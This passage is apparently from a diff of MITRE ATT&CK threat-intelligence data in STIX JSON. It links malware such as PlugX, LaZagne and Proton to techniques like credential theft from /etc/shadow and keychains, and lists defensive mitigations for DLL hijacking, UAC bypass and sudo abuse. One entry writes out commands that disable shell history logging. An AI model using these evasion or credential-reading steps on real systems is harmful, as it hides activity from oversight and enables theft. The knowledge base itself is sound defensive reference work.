"uses", + "created": "2020-03-25T13:58:19.146Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--754790a1-86b9-4421-b8e9-84d3dee51097", + "description": "[PlugX](https://attack.mitre.org/software/S0013) can be added as a service to establish persistence. [PlugX](https://attack.mitre.org/software/S0013) also has a module to change service configurations as well as start, control, and delete services.(Citation: CIRCL PlugX March 2013)(Citation: Lastline PlugX Analysis)(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: Proofpoint ZeroT Feb 2017)", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "modified": "2020-03-25T13:58:48.018Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-25T13:58:48.018Z", + "external_references": [ + { + "source_name": "CIRCL PlugX March 2013", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + }, + { + "url": "http://labs.lastline.com/an-analysis-of-plugx", + "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.", + "source_name": "Lastline PlugX Analysis" + }, + { + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bb9706eb-de51-4200-ac38-d7d658f90ea9", + "description": "[LaZagne](https://attack.mitre.org/software/S0349) can obtain credential information running Linux processes.(Citation: GitHub LaZagne Dec 2018)", + "target_ref": "attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d", + "modified": "2020-03-25T15:47:20.264Z", + "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-25T15:46:35.692Z", + "external_references": [ + { + "url": "https://github.com/AlessandroZ/LaZagne", + "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.", + "source_name": "GitHub LaZagne Dec 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3822f934-0b93-417b-bb1d-06218d51922e", + "description": "[LaZagne](https://attack.mitre.org/software/S0349) can obtain credential information from /etc/shadow using the shadow.py module.(Citation: GitHub LaZagne Dec 2018)", + "target_ref": "attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4", + "modified": "2020-03-25T15:46:35.721Z", + "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-25T15:46:35.721Z", + "external_references": [ + { + "url": "https://github.com/AlessandroZ/LaZagne", + "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.", + "source_name": "GitHub LaZagne Dec 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3e3f06c4-3105-4d07-b876-702005e9b59a", + "description": "Ensure Domain Controller backups are properly secured.", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "modified": "2021-07-20T23:03:00.806Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-25T16:25:17.386Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6209bf2d-6ffd-4740-96cb-ef04379ae126", + "description": "[Proton](https://attack.mitre.org/software/S0279) gathers credentials in files for keychains.(Citation: objsee mac malware 2017)", + "target_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3", + "modified": "2021-01-22T16:19:13.134Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-25T18:03:46.017Z", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--246e4d06-8646-4f9a-8d7c-1efd98fd11c1", + "description": "Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers.", + "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", + "modified": "2021-03-16T12:53:42.568Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-25T18:30:50.103Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6607178e-a8b4-4da9-b985-3712eb71a303", + "description": "Limit access to the Instance Metadata API using a host-based firewall such as iptables. A properly configured Web Application Firewall (WAF) may help prevent external adversaries from exploiting Server-side Request Forgery (SSRF) attacks that allow access to the Cloud Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)", + "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", + "modified": "2021-03-16T12:53:42.570Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-25T18:30:50.106Z", + "external_references": [ + { + "source_name": "RedLock Instance Metadata API 2018", + "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.", + "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e30864c0-df50-403b-9ad0-ef744a5d7449", + "description": "If it is necessary that software must store credentials in the Registry, then ensure the associated accounts have limited permissions so they cannot be abused if obtained by an adversary.", + "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", + "modified": "2021-03-16T12:53:42.567Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-25T18:30:50.108Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--529b0951-548c-4316-93d1-baf97d89f10a", + "description": "Use strong passphrases for private keys to make cracking difficult. Do not store credentials within the Registry. Establish an organizational policy that prohibits password storage in files.", + "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", + "modified": "2021-03-16T12:53:42.557Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-25T18:30:50.113Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5401a61d-a795-4619-aa7e-fdf54cd4358e", + "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.", + "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", + "modified": "2021-03-16T12:53:42.562Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-25T18:30:50.111Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--069ff8f0-889c-4463-bf5d-618bf5e457ee", + "description": "When possible, store keys on separate cryptographic hardware instead of on the local system. ", + "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", + "modified": "2021-03-16T12:53:42.570Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-25T18:30:50.135Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--06ef2810-b641-4142-83af-bbb00a598c11", + "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with system-level process changes and service configurations.", + "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "modified": "2020-03-31T13:11:21.523Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-25T22:32:16.712Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--65b98884-b04d-424a-a89c-c4f52565e160", + "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them.", + "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "modified": "2020-03-31T13:08:46.325Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-25T22:32:16.714Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--43d69d89-df36-44fa-a09e-c66aa9fa5918", + "description": "Restrict software installation to trusted repositories only and be cautious of orphaned software packages.", + "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "modified": "2020-03-25T22:32:16.736Z", + "source_ref": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-25T22:32:16.736Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9e93d680-0e33-4577-97f6-da4e53f8ab78", + "description": "Restrict read/write access to system-level process files to only select privileged users who have a legitimate need to manage system services.", + "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "modified": "2020-03-31T13:11:10.795Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-25T22:32:16.738Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--46eeb6fa-2dcb-4c86-b79e-8891b2e72566", + "description": "Disallow loading of remote DLLs. This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+.\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory)\n\nThe Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode(Citation: Microsoft More information about DLL)(Citation: Microsoft Dynamic Link Library Search Order)", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "modified": "2021-04-26T18:32:59.710Z", + "source_ref": "course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-26T15:53:25.125Z", + "external_references": [ + { + "url": "https://msrc-blog.microsoft.com/2010/08/23/more-information-about-the-dll-preloading-remote-attack-vector/", + "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.", + "source_name": "Microsoft More information about DLL" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN", + "description": "Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014.", + "source_name": "Microsoft Dynamic Link Library Search Order" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6fa01dcb-e06c-4f8b-b6a2-c301f0198df4", + "description": "Adversaries may use new payloads to execute this technique. Identify and block potentially malicious software executed through hijacking by using application control solutions also capable of blocking libraries loaded by legitimate software.", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "modified": "2021-04-26T18:32:59.703Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-26T15:53:25.140Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4cc78773-df9f-40d8-a2e5-eb2eadb05409", + "description": "Use auditing tools capable of detecting hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for hijacking weaknesses.(Citation: Powersploit)\n\nUse the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.\n\nFind and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate.\n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.(Citation: Microsoft CreateProcess)(Citation: Microsoft Dynamic-Link Library Security)(Citation: Vulnerability and Exploit Detector)", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "modified": "2021-04-26T18:32:59.815Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-26T15:53:25.148Z", + "external_references": [ + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms682425" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security?redirectedfrom=MSDN", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.", + "source_name": "Microsoft Dynamic-Link Library Security" + }, + { + "url": "https://skanthak.homepage.t-online.de/sentinel.html", + "description": "Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.", + "source_name": "Vulnerability and Exploit Detector" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--62c9a1c7-557e-433b-b422-3427a308f34e", + "description": "Update software regularly to include patches that fix DLL side-loading vulnerabilities.", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "modified": "2021-04-26T18:32:59.819Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-26T16:17:09.647Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7253ab74-8fbb-422b-bf37-258981865b87", + "description": "Install software in write-protected locations. Set directory access controls to prevent file writes to the search paths for applications, both in the folders where applications are run from and the standard library folders.", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "modified": "2021-04-26T18:32:59.813Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-26T16:17:09.665Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0fc95a6b-296f-41ab-8663-aea4a80afe0a", + "description": "Adversaries may use new payloads to execute this technique. Identify and block potentially malicious software executed through hijacking by using application control solutions also capable of blocking libraries loaded by legitimate software.", + "target_ref": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825", + "modified": "2021-04-27T19:55:18.775Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-26T18:45:03.794Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--214e4329-960c-4c25-8620-b9573a6e06dc", + "description": "Turn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System] to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000. Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged. (Citation: Executable Installers are Vulnerable)", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "modified": "2021-04-26T18:32:59.822Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-26T19:30:46.421Z", + "external_references": [ + { + "url": "https://seclists.org/fulldisclosure/2015/Dec/34", + "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.", + "source_name": "Executable Installers are Vulnerable" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--523ef32d-7463-4774-a473-fcccb5b0dadd", + "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Deny execution from user directories such as file download directories and temp directories where able.\n\nEnsure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "modified": "2021-04-26T18:32:59.879Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-26T19:33:32.779Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--85422378-e9d7-4bd2-8b57-73fba0641448", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "modified": "2021-04-26T18:32:59.892Z", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-26T19:40:38.563Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--78af537b-48cc-411d-a209-3e01c44aa87b", + "description": "Utilize Yama (ex: /proc/sys/kernel/yama/ptrace_scope) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux, grsecurity, and AppArmor.", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "modified": "2021-10-18T12:18:31.209Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-26T20:27:44.220Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6928abb5-b9b1-48d5-b3c5-8c7a94da5076", + "description": "Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).", + "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", + "modified": "2020-03-31T13:39:03.536Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-27T12:10:23.734Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--94d71c18-e2af-4dfd-aa2f-28ca68a772ab", + "description": "Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate.(Citation: Github UACMe)", + "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", + "modified": "2020-03-27T12:18:44.429Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-27T12:10:23.737Z", + "external_references": [ + { + "source_name": "Github UACMe", + "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", + "url": "https://github.com/hfiref0x/UACME" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b12a23ae-65f6-4226-8124-331ad59d1556", + "description": "The sudoers file should be strictly edited such that passwords are always required and that users can't spawn risky processes as users with higher privilege.", + "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", + "modified": "2020-03-27T12:18:44.449Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-27T12:10:23.753Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--35428082-1010-4e0e-ac4c-9f1426de7796", + "description": "System settings can prevent applications from running that haven't been downloaded from legitimate repositories which may help mitigate some of these issues. Not allowing unsigned applications from being run may also mitigate some risk.", + "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", + "modified": "2020-03-27T12:18:44.451Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-27T12:10:23.761Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7e024389-346c-489b-a406-1bbdec150eda", + "description": "Remove users from the local administrator group on systems.\n\nBy requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file. Setting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed.", + "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", + "modified": "2020-03-27T12:18:44.447Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-27T12:10:23.762Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--540937b6-1afd-4f8b-8deb-c1c4f6456ce7", + "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system. Ensuring that the sudo tty_tickets setting is enabled will prevent this leakage across tty sessions.", + "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", + "modified": "2020-03-27T12:18:44.450Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-27T12:10:23.764Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--15b9b22e-7896-4219-8ec9-59b099644a6f", + "description": "System settings can prevent applications from running that haven't been downloaded through the Apple Store (or other legitimate repositories) which can help mitigate some of these issues. Also enable application control solutions such as AppLocker and/or Device Guard to block the loading of malicious content.", + "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", + "modified": "2021-08-16T19:46:03.612Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-27T13:14:04.866Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1c0ec3cf-8942-4d47-b1ac-dfdaca31bac0", + "description": "Windows Group Policy can be used to manage root certificates and the Flags value of HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\ProtectedRoots can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)", + "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", + "modified": "2021-08-16T19:46:03.634Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-27T13:32:37.810Z", + "external_references": [ + { + "source_name": "SpectorOps Code Signing Dec 2017", + "description": "Graeber, M. (2017, December 22). 